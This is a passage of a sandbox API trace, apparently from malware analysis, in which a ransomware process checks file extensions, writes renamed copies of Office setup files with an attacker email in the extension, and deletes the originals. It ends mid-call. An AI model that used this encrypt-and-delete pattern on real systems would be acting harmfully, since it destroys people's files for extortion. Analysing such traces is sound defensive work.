[0038.697] lstrlenW (lpString=".doc") returned 4 [0038.697] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.697] lstrlenW (lpString=".docx") returned 5 [0038.698] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0038.698] lstrlenW (lpString=".pdf") returned 4 [0038.698] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.698] lstrlenW (lpString=".xls") returned 4 [0038.698] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.698] lstrlenW (lpString=".xlsx") returned 5 [0038.698] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0038.698] lstrlenW (lpString=".ppt") returned 4 [0038.698] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.698] lstrlenW (lpString=".zip") returned 4 [0038.698] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.698] lstrlenW (lpString=".rar") returned 4 [0038.698] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.698] lstrlenW (lpString=".bz2") returned 4 [0038.698] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.698] lstrlenW (lpString=".7z") returned 3 [0038.698] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.698] lstrlenW (lpString=".dbf") returned 4 [0038.698] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.698] lstrlenW (lpString=".1cd") returned 4 [0038.698] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.698] lstrlenW (lpString=".jpg") returned 4 [0038.698] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.698] lstrlenW (lpString=".doc") returned 4 [0038.698] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.698] lstrlenW (lpString=".docx") returned 5 [0038.699] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0038.699] lstrlenW (lpString=".pdf") returned 4 [0038.699] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.699] lstrlenW (lpString=".xls") returned 4 [0038.699] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.699] lstrlenW (lpString=".xlsx") returned 5 [0038.699] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0038.699] lstrlenW (lpString=".ppt") returned 4 [0038.699] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.699] lstrlenW (lpString=".zip") returned 4 [0038.699] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.699] lstrlenW (lpString=".rar") returned 4 [0038.699] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.699] lstrlenW (lpString=".bz2") returned 4 [0038.699] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.699] lstrlenW (lpString=".7z") returned 3 [0038.699] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.699] lstrlenW (lpString=".dbf") returned 4 [0038.699] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.699] lstrlenW (lpString=".1cd") returned 4 [0038.699] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.699] lstrlenW (lpString=".jpg") returned 4 [0038.699] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.699] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0038.700] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0038.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0039.789] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=37689) returned 1 [0039.789] CloseHandle (hObject=0x1d8) returned 1 [0039.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0039.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.806] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.806] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0039.806] GetLastError () returned 0x0 [0039.806] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x9339, lpOverlapped=0x0) returned 1 [0039.808] WriteFile (in: hFile=0x1e8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x9340, lpOverlapped=0x0) returned 1 [0039.810] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0039.810] WriteFile (in: hFile=0x1e8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0039.810] SetEndOfFile (hFile=0x1e8) returned 1 [0039.810] CloseHandle (hObject=0x1e8) returned 1 [0039.811] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.811] SetEndOfFile (hFile=0x1cc) returned 1 [0039.812] CloseHandle (hObject=0x1cc) returned 1 [0039.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.812] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0039.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.812] lstrlenW (lpString=".doc") returned 4 [0039.812] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString=".docx") returned 5 [0039.812] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0039.812] lstrlenW (lpString=".pdf") returned 4 [0039.812] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.812] lstrlenW (lpString=".xls") returned 4 [0039.812] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".xlsx") returned 5 [0039.813] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0039.813] lstrlenW (lpString=".ppt") returned 4 [0039.813] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.813] lstrlenW (lpString=".zip") returned 4 [0039.813] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".rar") returned 4 [0039.813] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".bz2") returned 4 [0039.813] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.813] lstrlenW (lpString=".7z") returned 3 [0039.813] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.813] lstrlenW (lpString=".dbf") returned 4 [0039.813] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.813] lstrlenW (lpString=".1cd") returned 4 [0039.813] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.813] lstrlenW (lpString=".jpg") returned 4 [0039.813] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.813] lstrlenW (lpString=".doc") returned 4 [0039.813] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".docx") returned 5 [0039.813] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0039.813] lstrlenW (lpString=".pdf") returned 4 [0039.813] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".xls") returned 4 [0039.813] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.813] lstrlenW (lpString=".xlsx") returned 5 [0039.814] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0039.814] lstrlenW (lpString=".ppt") returned 4 [0039.814] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.814] lstrlenW (lpString=".zip") returned 4 [0039.814] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.814] lstrlenW (lpString=".rar") returned 4 [0039.814] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.814] lstrlenW (lpString=".bz2") returned 4 [0039.814] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.814] lstrlenW (lpString=".7z") returned 3 [0039.814] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.814] lstrlenW (lpString=".dbf") returned 4 [0039.814] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.814] lstrlenW (lpString=".1cd") returned 4 [0039.814] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0039.814] lstrlenW (lpString=".jpg") returned 4 [0039.814] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.814] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.814] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0039.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.815] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1606) returned 1 [0039.815] CloseHandle (hObject=0x1cc) returned 1 [0039.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0039.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.815] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.815] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0039.818] GetLastError () returned 0x0 [0039.818] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x646, lpOverlapped=0x0) returned 1 [0039.820] WriteFile (in: hFile=0x1e8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x650, lpOverlapped=0x0) returned 1 [0039.821] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0039.821] WriteFile (in: hFile=0x1e8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0039.821] SetEndOfFile (hFile=0x1e8) returned 1 [0039.821] CloseHandle (hObject=0x1e8) returned 1 [0039.822] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.822] SetEndOfFile (hFile=0x1cc) returned 1 [0039.822] CloseHandle (hObject=0x1cc) returned 1 [0039.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.823] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0039.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.823] lstrlenW (lpString=".doc") returned 4 [0039.823] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.823] lstrlenW (lpString=".docx") returned 5 [0039.823] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.823] lstrlenW (lpString=".pdf") returned 4 [0039.823] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.823] lstrlenW (lpString=".xls") returned 4 [0039.823] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.823] lstrlenW (lpString=".xlsx") returned 5 [0039.823] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.823] lstrlenW (lpString=".ppt") returned 4 [0039.823] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.823] lstrlenW (lpString=".zip") returned 4 [0039.823] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.823] lstrlenW (lpString=".rar") returned 4 [0039.823] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.824] lstrlenW (lpString=".bz2") returned 4 [0039.824] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.824] lstrlenW (lpString=".7z") returned 3 [0039.824] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.824] lstrlenW (lpString=".dbf") returned 4 [0039.824] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.824] lstrlenW (lpString=".1cd") returned 4 [0039.824] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.824] lstrlenW (lpString=".jpg") returned 4 [0039.824] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.824] lstrlenW (lpString=".doc") returned 4 [0039.824] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.824] lstrlenW (lpString=".docx") returned 5 [0039.824] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.824] lstrlenW (lpString=".pdf") returned 4 [0039.824] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.824] lstrlenW (lpString=".xls") returned 4 [0039.824] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.824] lstrlenW (lpString=".xlsx") returned 5 [0039.824] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.824] lstrlenW (lpString=".ppt") returned 4 [0039.824] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.824] lstrlenW (lpString=".zip") returned 4 [0039.824] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.824] lstrlenW (lpString=".rar") returned 4 [0039.825] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.825] lstrlenW (lpString=".bz2") returned 4 [0039.825] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.825] lstrlenW (lpString=".7z") returned 3 [0039.825] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.825] lstrlenW (lpString=".dbf") returned 4 [0039.825] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.825] lstrlenW (lpString=".1cd") returned 4 [0039.825] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0039.825] lstrlenW (lpString=".jpg") returned 4 [0039.825] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.825] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.825] lstrlenW (lpString="SETUP.XML") returned 9 [0039.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.826] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1988) returned 1 [0039.826] CloseHandle (hObject=0x1cc) returned 1 [0039.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0039.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.826] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.826] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0039.827] GetLastError () returned 0x0 [0039.827] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x7c4, lpOverlapped=0x0) returned 1 [0039.828] WriteFile (in: hFile=0x1e8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0039.829] ReadFile (in: hFile=0x1cc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, 